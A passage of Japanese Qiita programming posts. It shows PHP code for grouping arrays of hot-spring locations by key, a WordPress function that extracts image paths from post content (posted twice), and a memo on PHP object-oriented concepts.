    ['kuni' => '日本', 'todofuken' => '群馬県', 'shi' => '渋川市', 'onsen' => '伊香保'],
    ['kuni' => '日本', 'todofuken' => '神奈川県', 'shi' => '足柄下郡', 'onsen' => '湯河原'],
    ['kuni' => '日本', 'todofuken' => '大分県', 'shi' => '別府市', 'onsen' => '観海寺'],
    ['kuni' => '日本', 'todofuken' => '大分県', 'shi' => '別府市', 'onsen' => '浜脇'],
    ['kuni' => '日本', 'todofuken' => '大分県', 'shi' => '別府市', 'onsen' => '堀田'],
    ['kuni' => 'ドイツ', 'todofuken' => 'ヴュルテンベルク州', 'shi' => 'バーデン=バーデン', 'onsen' => 'フリードリヒス'],
    ['kuni' => 'ドイツ', 'todofuken' => 'ヴュルテンベルク州', 'shi' => 'バーデン=バーデン', 'onsen' => 'カラカラ'],
    ['kuni' => 'ドイツ', 'todofuken' => 'ヘッセン州', 'shi' => 'ヴィースバーデン', 'onsen' => 'アウカムタル'],
    ['kuni' => 'ドイツ', 'todofuken' => 'ヘッセン州', 'shi' => 'ヴィースバーデン', 'onsen' => 'カイザーフリードリヒ'],
];

foreachgroup by

キーでグループ化する - Qiita を参考にさせていただきました。

GroupByArray.php
// 省略
/**
 * 2つの項目でGROUP BYする.
 * @param  string $key1 1番目のグループ化する項目の名前.
 * @param  string $key2 2番目のグループ化する項目の名前.
 */
public function groupByTwoKey(string $key1, string $key2): void
{
    $grouped = [];
    foreach (self::TABLE as $row) {
        $key = $row[$key1].$row[$key2];
        $grouped[$key][] = $row;
    }
    return $grouped;
}
// 省略
$groupBy = new GroupByArray();
var_dump($groupBy->groupByTwoKey('kuni','todofuken'));
キーにしたカラムが残ってちょっとうざい
$ php GroupByArray.php 
array(5) {
  ["日本群馬県"]=>
  array(2) {
    [0]=>
    array(4) {
      ["kuni"]=>
      string(6) "日本"
      ["todofuken"]=>
      string(9) "群馬県"
      ["shi"]=>
      string(9) "吾妻郡"
      ["onsen"]=>
      string(6) "草津"
    }
    [1]=>
    array(4) {
      ["kuni"]=>
      string(6) "日本"
      ["todofuken"]=>
      string(9) "群馬県"
      ["shi"]=>
      string(9) "渋川市"
      ["onsen"]=>
      string(9) "伊香保"
    }
  }
  ["日本神奈川県"]=>
  array(1) {
    [0]=>
    array(4) {
      ["kuni"]=>
      string(6) "日本"
      ["todofuken"]=>
      string(12) "神奈川県"
      ["shi"]=>
      string(12) "足柄下郡"
      ["onsen"]=>
      string(9) "湯河原"
    }
  }
  ["日本大分県"]=>
  array(3) {
    [0]=>
    array(4) {
      ["kuni"]=>
      string(6) "日本"
      ["todofuken"]=>
      string(9) "大分県"
      ["shi"]=>
      string(9) "別府市"
      ["onsen"]=>
      string(9) "観海寺"
    }
    [1]=>
    array(4) {
      ["kuni"]=>
# 省略

group byのキーにしたカラムはいらない場合

GroupByArray->groupByTwoKey
// 省略
    foreach (self::TABLE as $row) {
        /** @var array $notKeys キーにする要素を削除した配列. */
        $notKeys = array_filter($row, function($key) use ($key1, $key2) {
            return $key !== $key1 && $key !== $key2;
        }, ARRAY_FILTER_USE_KEY);

        $key = $row[$key1].$row[$key2];
        $grouped[$key][] = $notKeys;
// 省略
$ php GroupByArray.php 
array(5) {
  ["日本群馬県"]=>
  array(2) {
    [0]=>
    array(2) {
      ["shi"]=>
      string(9) "吾妻郡"
      ["onsen"]=>
      string(6) "草津"
    }
    [1]=>
    array(2) {
      ["shi"]=>
      string(9) "渋川市"
      ["onsen"]=>
      string(9) "伊香保"
    }
  }
  ["日本神奈川県"]=>
  array(1) {
    [0]=>
    array(2) {
      ["shi"]=>
      string(12) "足柄下郡"
      ["onsen"]=>
      string(9) "湯河原"
    }
  }
  ["日本大分県"]=>
  array(3) {
    [0]=>
    array(2) {
      ["shi"]=>
      string(9) "別府市"
      ["onsen"]=>
      string(9) "観海寺"
    }
    [1]=>
    array(2) {
      ["shi"]=>
      string(9) "別府市"
      ["onsen"]=>
# 省略

group byのキーにしたカラム毎に階層を作りたい場合

GroupByArray->groupByTwoKey
// 省略
        /** @var array $notKeys キーにする要素を削除した配列. */
        $notKeys = array_filter($row, function($key) use ($key1, $key2) {
            return $key !== $key1 && $key !== $key2;
        }, ARRAY_FILTER_USE_KEY);

        $grouped[$row[$key1]][$row[$key2]][] = $notKeys;
// 省略
$ php GroupByArray.php 
array(2) {
  ["日本"]=>
  array(3) {
    ["群馬県"]=>
    array(2) {
      [0]=>
      array(2) {
        ["shi"]=>
        string(9) "吾妻郡"
        ["onsen"]=>
        string(6) "草津"
      }
      [1]=>
      array(2) {
        ["shi"]=>
        string(9) "渋川市"
        ["onsen"]=>
        string(9) "伊香保"
      }
    }
    ["神奈川県"]=>
    array(1) {
      [0]=>
      array(2) {
        ["shi"]=>
        string(12) "足柄下郡"
        ["onsen"]=>
        string(9) "湯河原"
# 省略

array_reducegroup by

集計するとき、array_reduceと無名関数が便利だった! - maeharinの日記を参考にさせていただきました。
使い方は、ドキュメントを見ました(array_reduce — コールバック関数を用いて配列を普通の値に変更することにより、配列を再帰的に減らす)

GroupByArray.php
/**
 * 3つの項目でGROUP BYする.
 * @param  string $key1 1番目のグループ化する項目の名前.
 * @param  string $key2 2番目のグループ化する項目の名前.
 * @param  string $key3 3番目のグループ化する項目の名前.
 */
public function groupByTreeKey(string $key1, string $key2, string $key3): void
{
    $grouped = array_reduce(self::TABLE, function($grouped, $row) use ($key1, $key2, $key3) {
        $key = $row[$key1].$row[$key2].$row[$key3];
        $grouped[$key][] = $row;
        return $grouped;
    });
    return $grouped;
}
// 省略
$groupBy = new GroupByArray();
var_dump($groupBy->groupByTreeKey('kuni','todofuken', 'shi'));
とてもうざい
$ php GroupByArray.php 
array(6) {
  ["日本群馬県吾妻郡"]=>
  array(1) {
    [0]=>
    array(4) {
      ["kuni"]=>
      string(6) "日本"
      ["todofuken"]=>
      string(9) "群馬県"
      ["shi"]=>
      string(9) "吾妻郡"
      ["onsen"]=>
      string(6) "草津"
    }
  }
  ["日本群馬県渋川市"]=>
  array(1) {
    [0]=>
    array(4) {
      ["kuni"]=>
      string(6) "日本"
      ["todofuken"]=>
      string(9) "群馬県"
      ["shi"]=>
      string(9) "渋川市"
      ["onsen"]=>
      string(9) "伊香保"
    }
  }
  ["日本神奈川県足柄下郡"]=>
  array(1) {
    [0]=>
    array(4) {
      ["kuni"]=>
      string(6) "日本"
      ["todofuken"]=>
      string(12) "神奈川県"
      ["shi"]=>
      string(12) "足柄下郡"
      ["onsen"]=>
      string(9) "湯河原"
    }
  }
  ["日本大分県別府市"]=>
  array(3) {
    [0]=>
    array(4) {
      ["kuni"]=>
      string(6) "日本"
# 省略

group byのキーにしないカラムを連結したい場合

GroupByArray->groupByTreeKey
/** @var string カンマ. */
private const COMMA = ',';
// 省略
    $grouped = array_reduce(self::TABLE, function($grouped, $row) use ($key1, $key2, $key3) {
        $notKeys = array_filter($row, function($key) use($key1, $key2, $key3) {
            return $key !== $key1 && $key !== $key2 && $key !== $key3;
        }, ARRAY_FILTER_USE_KEY);
        $notKey = implode(self::COMMA, $notKeys);

        $key = $row[$key1].$row[$key2].$row[$key3];

        if (array_key_exists($key, $grouped)) {
            $grouped[$key] .= self::COMMA.$notKey;
        } else {
            $grouped[$key] = $notKey;
        }

        return $grouped;
    }, array());
// 省略
$ php GroupByArray.php 
array(6) {
  ["日本群馬県吾妻郡"]=>
  string(6) "草津"
  ["日本群馬県渋川市"]=>
  string(9) "伊香保"
  ["日本神奈川県足柄下郡"]=>
  string(9) "湯河原"
  ["日本大分県別府市"]=>
  string(23) "観海寺,浜脇,堀田"
  ["ドイツヴュルテンベルク州バーデン=バーデン"]=>
  string(34) "フリードリヒス,カラカラ"
  ["ドイツヘッセン州ヴィースバーデン"]=>
  string(49) "アウカムタル,カイザーフリードリヒ"
}

group byしてフォーマットに埋め込む

文字列リテラルに式展開 - Qiitaで思いつきました。
素晴らしく汎用性のないものとなりました。

GroupByArray
/**
 * group byした結果をフォーマットに埋め込む.
 * @return string フォーマットした文字列.
 */
public function groupByAndFormat(): string
{
    $key1 = 'kuni';
    $key2 = 'todofuken';
    $key3 = 'other';
    $format = "{$key1}{$key2}の温泉には、{$key3}があります。";

    /** @var array $groups group byした結果. */
    $groups = self::groupByTwoKey($key1, $key2);

    /** @var array $formated フォーマットした文字を格納する配列. */
    $formated = array();
    /** @var string $kuni kuniカラムの値. */
    foreach ($groups as $kuni => $todofukens) {
        /** @var string $todofuken todofukenカラムの値. */
        foreach ($todofukens as $todofuken => $others) {
            /** @var string $other group byのキーにしなかった要素を「と」でつないだ文字列. */
            $other = '';
            foreach ($others as $otherParts) {
                /** @var string $otherPart group byのキーにしなかった要素をくっつけた文字列. */
                $otherPart = implode($otherParts);
                if (strlen($other) !== 0) {
                    $other .= 'と';
                }
                $other .= $otherPart;
            }
            /** @var array 置換する文字のセット. */
            $replacePairs = [$key1 => $kuni, $key2 => $todofuken, $key3 => $other];
            $formated[] = strtr($format, $replacePairs);
        }
    }

    // 改行でつなげて1つの文字列にする.
    return implode(PHP_EOL, $formated);
}
// 省略
$groupBy = new GroupByArray();
var_dump($groupBy->groupByAndFormat());
$ php GroupByArray.php 
string(607) "日本の群馬県の温泉には、吾妻郡草津と渋川市伊香保があります。
日本の神奈川県の温泉には、足柄下郡湯河原があります。
日本の大分県の温泉には、別府市観海寺と別府市浜脇と別府市堀田があります。
ドイツのヴュルテンベルク州の温泉には、バーデン=バーデンフリードリヒスとバーデン=バーデンカラカラがあります。
ドイツのヘッセン州の温泉には、ヴィースバーデンアウカムタルとヴィースバーデンカイザーフリードリヒがあります。"

全貌

GroupByArra.php
<?php

class GroupByArray
{
    /** @var array 温泉地テーブル. */
    private const TABLE = [
        ['kuni' => '日本', 'todofuken' => '群馬県', 'shi' => '吾妻郡', 'onsen' => '草津'],
        ['kuni' => '日本', 'todofuken' => '群馬県', 'shi' => '渋川市', 'onsen' => '伊香保'],
        ['kuni' => '日本', 'todofuken' => '神奈川県', 'shi' => '足柄下郡', 'onsen' => '湯河原'],
        ['kuni' => '日本', 'todofuken' => '大分県', 'shi' => '別府市', 'onsen' => '観海寺'],
        ['kuni' => '日本', 'todofuken' => '大分県', 'shi' => '別府市', 'onsen' => '浜脇'],
        ['kuni' => '日本', 'todofuken' => '大分県', 'shi' => '別府市', 'onsen' => '堀田'],
        ['kuni' => 'ドイツ', 'todofuken' => 'ヴュルテンベルク州', 'shi' => 'バーデン=バーデン', 'onsen' => 'フリードリヒス'],
        ['kuni' => 'ドイツ', 'todofuken' => 'ヴュルテンベルク州', 'shi' => 'バーデン=バーデン', 'onsen' => 'カラカラ'],
        ['kuni' => 'ドイツ', 'todofuken' => 'ヘッセン州', 'shi' => 'ヴィースバーデン', 'onsen' => 'アウカムタル'],
        ['kuni' => 'ドイツ', 'todofuken' => 'ヘッセン州', 'shi' => 'ヴィースバーデン', 'onsen' => 'カイザーフリードリヒ'],
    ];

    /** @var string カンマ. */
    private const COMMA = ',';

    /**
     * 2つの項目でGROUP BYする.
     * @param  string $key1 1番目のグループ化する項目の名前.
     * @param  string $key2 2番目のグループ化する項目の名前.
     */
    public function groupByTwoKey(string $key1, string $key2): array
    {
        $grouped = [];
        foreach (self::TABLE as $row) {
            /** @var array $notKeys キーにする要素を削除した配列. */
            $notKeys = array_filter($row, function($key) use ($key1, $key2) {
                return $key !== $key1 && $key !== $key2;
            }, ARRAY_FILTER_USE_KEY);

            $grouped[$row[$key1]][$row[$key2]][] = $notKeys;
        }
        return $grouped;
    }

    /**
     * 3つの項目でGROUP BYする.
     * @param  string $key1 1番目のグループ化する項目の名前.
     * @param  string $key2 2番目のグループ化する項目の名前.
     * @param  string $key3 3番目のグループ化する項目の名前.
     */
    public function groupByTreeKey(string $key1, string $key2, string $key3): array
    {
        $grouped = array_reduce(self::TABLE, function($grouped, $row) use ($key1, $key2, $key3) {
            $notKeys = array_filter($row, function($key) use($key1, $key2, $key3) {
                return $key !== $key1 && $key !== $key2 && $key !== $key3;
            }, ARRAY_FILTER_USE_KEY);
            $notKey = implode(self::COMMA, $notKeys);

            $key = $row[$key1].$row[$key2].$row[$key3];

            if (array_key_exists($key, $grouped)) {
                $grouped[$key] .= self::COMMA.$notKey;
            } else {
                $grouped[$key] = $notKey;
            }

            return $grouped;
        }, array());
        return $grouped;
    }

    /**
     * group byした結果をフォーマットに埋め込む.
     * @return string フォーマットした文字列.
     */
    public function groupByAndFormat(): string
    {
        $key1 = 'kuni';
        $key2 = 'todofuken';
        $key3 = 'other';
        $format = "{$key1}{$key2}の温泉には、{$key3}があります。";

        /** @var array $groups group byした結果. */
        $groups = self::groupByTwoKey($key1, $key2);

        /** @var array $formated フォーマットした文字を格納する配列. */
        $formated = array();
        /** @var string $kuni kuniカラムの値. */
        foreach ($groups as $kuni => $todofukens) {
            /** @var string $todofuken todofukenカラムの値. */
            foreach ($todofukens as $todofuken => $others) {
                /** @var string $other group byのキーにしなかった要素を「と」でつないだ文字列. */
                $other = '';
                foreach ($others as $otherParts) {
                    /** @var string $otherPart group byのキーにしなかった要素をくっつけた文字列. */
                    $otherPart = implode($otherParts);
                    if (strlen($other) !== 0) {
                        $other .= 'と';
                    }
                    $other .= $otherPart;
                }
                /** @var array 置換する文字のセット. */
                $replacePairs = [$key1 => $kuni, $key2 => $todofuken, $key3 => $other];
                $formated[] = strtr($format, $replacePairs);
            }
        }

        // 改行でつなげてⅠつの文字列にする.
        return implode(PHP_EOL, $formated);
    }
}

$groupBy = new GroupByArray();
var_dump($groupBy->groupByTwoKey('kuni','todofuken'));
var_dump($groupBy->groupByTreeKey('kuni','todofuken', 'shi'));
var_dump($groupBy->groupByAndFormat());
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

WYSIWYGに入力したテキストから画像だけ書き出す方法

記事サイトの構造化データに画像のパス一覧を入力するとき、どうするかなーと思って書いてみました。
やってることとしてはWPのデフォルトWYSIWYGに入力した内容からimgタグのsrcの中身だけ引っこ抜いて、ほしい形に整えて配列に入れて返す、みたいな感じです。

まずは本文を持ってきて、その中からsrc=""の中身を抽出。
正規表現に引っかからなかった場合は処理を終了します。

    $conts = get_the_content();
    preg_match_all('/src="(\S+)(.jpg|.png|.gif)"/', $conts, $m);
    if(!$m) return;

正規表現で引っこ抜いてきた、パスの文字列部分と拡張子部分をそれぞれがっちゃんこします。
投稿時にWP管理画面でサイズをしていると、そのサイズ込みのパスになります。
オリジナルの画像のパスを取るために雑にpreg_replace()で置換していますが、他に良さげな方法ありますかね。

    $img_name_arr = $m[1];
    $img_ext_arr = $m[2];
    foreach($img_name_arr as $key => $img_name) {
        $img_path = $img_name.$img_ext_arr[$key];
        $origin_img = preg_replace('/-(\d+)x(\d+)(.jpg|.png|.gif)/', '$3', $img_path);
    }

構造化データに入れるとき、横幅が969px以上?でないといけないらしいので、基準となる$border_widthよりオリジナルの画像サイズが大きいときに配列に入れる、という条件をつけました。まぁ、ここはお好みで。

<?php
function get_img_list() {
    if(!is_singular()) return false;
    $border_width = 696;
    $img_arr = array();
    $conts = get_the_content();
    preg_match_all('/src="(\S+)(.jpg|.png|.gif)"/', $conts, $m);
    if(!$m) return;
    $img_name_arr = $m[1];
    $img_ext_arr = $m[2];
    foreach($img_name_arr as $key => $img_name) {
        $img_path = $img_name.$img_ext_arr[$key];
        $origin_img = preg_replace('/-(\d+)x(\d+)(.jpg|.png|.gif)/', '$3', $img_path);
        $origin_img_width = getimagesize($origin_img)[0];
        if($origin_img_width && $origin_img_width >= $border_width) {
            $img_arr[] = $origin_img;
        }
    }
    return $img_arr;
}

というか、WPデフォで投稿内容から画像だけ抽出する方法があったら教えてほしいです。(´・ω・`)

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

WYSIWYGに入力したHTMLから画像だけ書き出す方法

記事サイトの構造化データに画像のパス一覧を入力するとき、どうするかなーと思って書いてみました。
やってることとしてはWPのデフォルトWYSIWYGに入力した内容からimgタグのsrcの中身だけ引っこ抜いて、ほしい形に整えて配列に入れて返す、みたいな感じです。

まずは本文を持ってきて、その中からsrc=""の中身を抽出。
正規表現に引っかからなかった場合は処理を終了します。

    $conts = get_the_content();
    preg_match_all('/src="(\S+)(.jpg|.png|.gif)"/', $conts, $m);
    if(!$m) return;

正規表現で引っこ抜いてきた、パスの文字列部分と拡張子部分をそれぞれがっちゃんこします。
投稿時にWP管理画面でサイズをしていると、そのサイズ込みのパスになります。
オリジナルの画像のパスを取るために雑にpreg_replace()で置換していますが、他に良さげな方法ありますかね。

    $img_name_arr = $m[1];
    $img_ext_arr = $m[2];
    foreach($img_name_arr as $key => $img_name) {
        $img_path = $img_name.$img_ext_arr[$key];
        $origin_img = preg_replace('/-(\d+)x(\d+)(.jpg|.png|.gif)/', '$3', $img_path);
    }

構造化データに入れるとき、横幅が969px以上?でないといけないらしいので、基準となる$border_widthよりオリジナルの画像サイズが大きいときに配列に入れる、という条件をつけました。まぁ、ここはお好みで。

<?php
function get_img_list() {
    if(!is_singular()) return false;
    $border_width = 696;
    $img_arr = array();
    $conts = get_the_content();
    preg_match_all('/src="(\S+)(.jpg|.png|.gif)"/', $conts, $m);
    if(!$m) return;
    $img_name_arr = $m[1];
    $img_ext_arr = $m[2];
    foreach($img_name_arr as $key => $img_name) {
        $img_path = $img_name.$img_ext_arr[$key];
        $origin_img = preg_replace('/-(\d+)x(\d+)(.jpg|.png|.gif)/', '$3', $img_path);
        $origin_img_width = getimagesize($origin_img)[0];
        if($origin_img_width && $origin_img_width >= $border_width) {
            $img_arr[] = $origin_img;
        }
    }
    return $img_arr;
}

というか、WPデフォで投稿内容から画像だけ抽出する方法があったら教えてほしいです。(´・ω・`)

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHP オブジェクトの考え メモ辞典

静的メゾット

->インスタンスを生成しなくてもクラスから直接呼び出すメゾット
  メゾット定義に staticキーワードを加えるだけ

静的プロパティ

 オブジェクト経由せずに、クラスから直接に呼び出すことができるプロパティです。
クラス内は、 self::プロパティ

クラス定数

->classブロックの中で定義された定数のことです。

カプセル化

->クラス機能のうち、必要ないものを隠す

アクセス修飾子

 ->public,protecd,privateの3つがある

 ###public
->どこからでもアクセスできる

protected

->現在のクラス、サブクラスのみアクセス可能

private

->現在のクラスの中でのみアクセスできる

アクセスメゾット

qiita.rb
private xxx

public function getプロパティ名(): データdata {
   return $this->プロパティ名;

public function setプロパティ名(データ型 引数) {
    $this->プロパティ名= 引数;

継承

 ->継承元=スーパークラス 
    継承の結果=サブクラス

class サブクラス extends スーパークラス名 {
}

メゾットのオーバライド

->スーパークラスで定義された機能を、サブクラスで再定義すること

オーバライトの禁止

->final修飾子使用

ポリモーフィズム

->同名のメゾットで異なる挙動を実現する

抽象化メゾット

 -> 空のメゾット
     オーバライドしてサブメゾットでやる

継承のルール

->PHPで、多重継承が認められていない 
  つまり一度に継承できるのクラスは、一度だけ

インタ-フィイス名

->支配のメゾットがすべて抽象メゾットである.

・できること
   ・抽象メゾット、定数
  ・多重継承が可能

親クラス

qiita.rb
interface インターフェイス名 {
}

子クラス

qiita.rb
class  実装クラス名 implements インターフェイス名 {

///クラス実装
}

instanceof演算子

無名クラス

 ->名前を持たないクラス

トレイト

 ->再利用可能コード(メゾット、プロパティ)をまとめて切り出す

  制約がある
   ・定数はもてない
  ・クラスの継承、インターフェイスの実装はできない

オブジェクトの代入

 オブジェクトは、代入できる

オブジェクトAからBに値コピーしたい場合
cloneを使う

オブジェクトの比較

==
->同じクラスのインスタンスであること、同じプロパティと値を持つこと

 

->同じクラスの同じインスタンスを参照すること

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む